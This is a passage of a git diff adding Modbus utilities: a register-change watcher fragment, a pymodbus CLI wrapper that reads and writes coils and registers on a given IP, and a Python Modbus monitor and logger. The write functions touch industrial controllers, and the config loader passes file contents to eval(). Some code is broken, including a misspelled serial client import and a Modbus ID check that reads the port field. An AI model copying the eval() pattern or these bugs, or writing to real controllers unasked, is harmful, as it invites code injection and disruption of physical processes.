round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except 